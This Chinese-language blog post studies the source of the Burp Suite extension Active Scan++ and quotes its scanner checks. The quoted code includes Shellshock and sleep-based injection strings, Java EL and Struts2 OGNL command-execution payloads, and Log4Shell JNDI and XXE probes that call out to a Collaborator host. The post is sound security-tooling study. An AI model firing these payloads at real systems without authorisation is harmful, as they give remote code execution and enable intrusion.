插件开发学习第4套。前置文章:
【BurpSuite】插件学习之Log4shell
【BurpSuite】插件学习之Software Vulnerability Scanner
【BurpSuite】插件学习之dotnet-Beautifier
https://github.com/PortSwigger/active-scan-plus-plus.git
逻辑代码在
| |____active-scan-plus-plus.iml
这个代码是基于Python写的,业内评价很高。
老样子,继承BurpExtender
class BurpExtender(IBurpExtender):
基本信息也和java差不多
def registerExtenderCallbacks(self, this_callbacks):
global callbacks, helpers
callbacks = this_callbacks
helpers = callbacks.getHelpers()
callbacks.setExtensionName("activeScan++")
具体加载的哪些check
callbacks.registerScannerCheck(PerHostScans())
callbacks.registerScannerCheck(PerRequestScans())
callbacks.registerScannerInsertionPointProvider(BasicAuthInsertionPointProvider(callbacks))
if not FAST_MODE:
callbacks.registerScannerCheck(CodeExec())
callbacks.registerScannerCheck(SuspectTransform())
callbacks.registerScannerCheck(JetLeak())
callbacks.registerScannerCheck(SimpleFuzz())
callbacks.registerScannerCheck(EdgeSideInclude())
if collab_enabled:
callbacks.registerScannerCheck(Log4j())
callbacks.registerScannerCheck(Solr())
callbacks.registerScannerCheck(doStruts_2017_12611_scan())
下面可以一个一个看
重写了doActiveScan
self.scanned_hosts.add(host)
issues = []
issues.extend(self.interestingFileScan(basePair))
从给定的list里面请求指定的path看有没有期望的返回值
interestingFileMappings = [
# [host-relative-url, vulnerable_response_content, reason]
['/.git/config', '[core]', 'source code leak?'],
['/server-status', 'Server uptime', 'debug info'],
['/.well-known/apple-app-site-association', 'applinks', 'https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html'],
['/.well-known/openid-configuration', '"authorization_endpoint"', 'https://portswigger.net/research/hidden-oauth-attack-vectors'],
['/.well-known/oauth-authorization-server', '"authorization_endpoint"', 'https://portswigger.net/research/hidden-oauth-attack-vectors'],
]
def interestingFileScan(self, basePair):
issues = []
for (url, expect, reason) in self.interestingFileMappings:
attack = self.fetchURL(basePair, url)
if expect in safe_bytes_to_string(attack.getResponse()):
这里的数量其实很少,这里可以是一个非常好的优化点。
同样是重写了doActiveScan
并且从init可以看出一共有如下几种
def __init__(self):
self.scan_checks = [
self.doHostHeaderScan,
self.doCodePathScan,
self.doStrutsScan,
self.doStruts_2017_9805_Scan,
self.doStruts_2018_11776_Scan,
self.doXXEPostScan,
self.doRailsScan,
]
https://www.jianshu.com/p/1533212237b6
def doRailsScan(self, basePair):
if '127.0.0.1' in safe_bytes_to_string(basePair.getResponse()):
return
(ignore, req) = setHeader(basePair.getRequest(), 'Accept', '../../../../../../../../../../../../../e*c/h*s*s{{', True)
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req)
response = safe_bytes_to_string(attack.getResponse())
https://zhuanlan.zhihu.com/p/26219061
def doStrutsScan(self, basePair):
x = random.randint(999, 9999)
y = random.randint(999, 9999)
(ignore, req) = setHeader(basePair.getRequest(), 'Content-Type', "${#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Ack\","+str(x)+"*"+str(y)+")}.multipart/form-data", True)
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req)
if str(x*y) in '\n'.join(helpers.analyzeResponse(attack.getResponse()).getHeaders()):
https://blog.csdn.net/qq_45813980/article/details/118719988
def doStruts_2017_9805_Scan(self, basePair):
...
command = "ping" + collab_payload + "-c1" # platform-agnosti
....
for chars in whole_param: # Append the payload to the request
req.append(ord(chars))
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req) # Issue the actual request
https://blog.csdn.net/Z_l123/article/details/123208935
def doStruts_2018_11776_Scan(self, basePair):
...
attack_string = "/$%7B("+str(x)+"*"+str(y)+")%7D"
attack_path = path[:last_slash]+attack_string+path[last_slash:]
newReq = safe_bytes_to_string(basePair.getRequest()).replace(path,attack_path, 1)
....
# Issue the actual request
通过请求dtd来判断
def doXXEPostScan(self, basePair):
...
xxepayload = '+ collab_payload + '/scanner.dtd">&all;'
....
# Issue the actual request
def doCodePathScan(self, basePair):
base_resp_string = safe_bytes_to_string(basePair.getResponse())
base_resp_print = tagmap(base_resp_string)
xml_resp, xml_req = self._codepath_attack(basePair, 'application/xml')
if xml_resp != -1:
if xml_resp != base_resp_print:
zml_resp, zml_req = self._codepath_attack(basePair, 'application/zml')
assert zml_resp != -1
if zml_resp != xml_resp:
这里就是通过变换Content-Type看看返回值是否有变化
关于下面的正则:
(?i)表示匹配时不区分大小写。
(?m)表示Multiline(多行模式),匹配时会改变^和$的含义,使其分别在任意一行的行首和行尾匹配,而不仅仅在整个字符串的开头和结尾匹配。
def tagmap(resp):
tags = ''.join(re.findall("(?im)(<[a-z]+)", resp))
return tags
https://portswigger.net/web-security/host-header
做一些主要是对HOST、REFERER做一些替换
def doHostHeaderScan(self, basePair):
if ('?' in request[0:request.index('\n')]):
request = re.sub('(?i)([a-z]+ [^ ]+)', r'\1&cachebust=${cachebust}', request, 1)
else:
request = re.sub('(?i)([a-z]+ [^ ]+)', r'\1?cachebust=${cachebust}', request, 1)
request = re.sub('(?im)^Host: [a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1)
if ('REFERER' in rawHeaders):
request = re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1)
if ('CACHE-CONTROL' in rawHeaders):
request = re.sub('(?im)^Cache-Control: [^\r\n]+', 'Cache-Control: no-cache', request, 1)
else:
request = request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\r\nCache-Control: no-cache', 1)
这里就是通过变换Content-Type看看返回值是否有变化
简单的fuzz,通过一些特殊字符,但是没太懂这个原理是啥。请求一个错误的Auto头有啥用。
class SimpleFuzz(IScannerCheck):
def doActiveScan(self, basePair, insertionPoint):
attack = request(basePair, insertionPoint, 'a\'a\\\'b"c>?>%}}%%>c<[[?${{%}}cake\\')
if tagmap(safe_bytes_to_string(attack.getResponse())) != tagmap(safe_bytes_to_string(basePair.getResponse())):
launchPassiveScan(attack)
# 应该是替换Authorization
class BasicAuthInsertionPoint(IScannerInsertionPoint):
def __init__(self, baseRequest, position):
self.baseRequest = ''.join(map(chr, baseRequest))
self.position = position
match = re.search("^Authorization: Basic (.*)$", self.baseRequest, re.MULTILINE)
self.baseBlob = match.group(1)
代码执行
重写了主动扫描doActiveScan
def doActiveScan(self, basePair, insertionPoint):
# Decide which payloads to use based on the file extension, using a set to prevent duplicate payloads
payloads = set()
languages = self._getLangs(basePair)
根据语言选择对应的payload
self._payloads = {
# Exploits shell command injection into '$input' on linux and "$input" on windows:
# and CVE-2014-6271, CVE-2014-6278
'any': ['() { :;}; /bin/sleep $time',
'() { _; } >_[$$($$())] { /bin/sleep $time; }', '$$(sleep $time)', '`sleep $time`'],
'php': [],
'perl': ['/bin/sleep $time|'],
'ruby': ['|sleep $time & ping -n $time localhost'],
# Expression language injection
'java': [
'$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"timeout","$time"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"sleep","$time"})).start()).getInputStream()))).readLine()}'],
}
这里所有的payload执行的都是延时时间
重写了主动扫描doActiveScan
生成了几种计算的生成式
def doActiveScan(self, basePair, insertionPoint):
self.checks = {
'quote consumption': self.detect_quote_consumption,
'arithmetic evaluation': self.detect_arithmetic,
'expression evaluation': self.detect_expression,
'template evaluation': self.detect_razor_expression,
'EL evaluation': self.detect_alt_expression,
}
例如
attack = request(basePair, insertionPoint, probe)
attack_response = safe_bytes_to_string(attack.getResponse())
matched = False
for e in expect:
重写了主动扫描doActiveScan
https://blog.csdn.net/jiangbb8686/article/details/103311906
def doActiveScan(self, basePair, insertionPoint):
resp_start = safe_bytes_to_string(attack.getResponse())[:90]
if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:
if 'Referer' != insertionPoint.getInsertionPointName():
return []
attack = request(basePair, insertionPoint, "\x00")
ESI XSS -> SSRF
https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/
重写了主动扫描doActiveScan
比较久远
def doActiveScan(self, basePair, insertionPoint):
canary1 = randstr(4)
canary2 = randstr(4)
canary3 = randstr(4)
probe = canary1+""+canary2+""+canary3
attack = request(basePair, insertionPoint, probe)
resp = safe_bytes_to_string(attack.getResponse())
expect = canary1+canary2+""+canary3
这个应该是最新更新的,但写的比较粗糙,很多绕过的姿势没有。可以看【BurpSuite】插件学习之Log4shell这个
def doActiveScan(self, basePair, insertionPoint):
collab = callbacks.createBurpCollaboratorClientContext()
attack = request(basePair, insertionPoint, "${jndi:ldap://"+collab.generatePayload(True)+"/a}")
https://blog.csdn.net/sycamorelg/article/details/121492084
XXE的思路,打dtd
def doActiveScan(self, basePair, insertionPoint):
collab = callbacks.createBurpCollaboratorClientContext()
obfuscated_payload = "{!xmlparser v='+collab.generatePayload(True)+"/xxe\">'}"
attack = request(basePair, insertionPoint, obfuscated_payload)
https://www.cnblogs.com/peace-and-romance/p/15652528.html
def doActiveScan(self, basePair, insertionPoint):
collab = callbacks.createBurpCollaboratorClientContext()
# set the blah blah blah needed before and after the command to be executed
param_pre = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
param_post = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
collab_payload = collab.generatePayload(True) # create a Collaborator payload
command = "ping " + collab_payload + " -c1" # p

Active Scan++是BApp Store最受欢迎的插件,从上面的分析来看,插件覆盖面稍有欠缺,还有很多可以优化的点。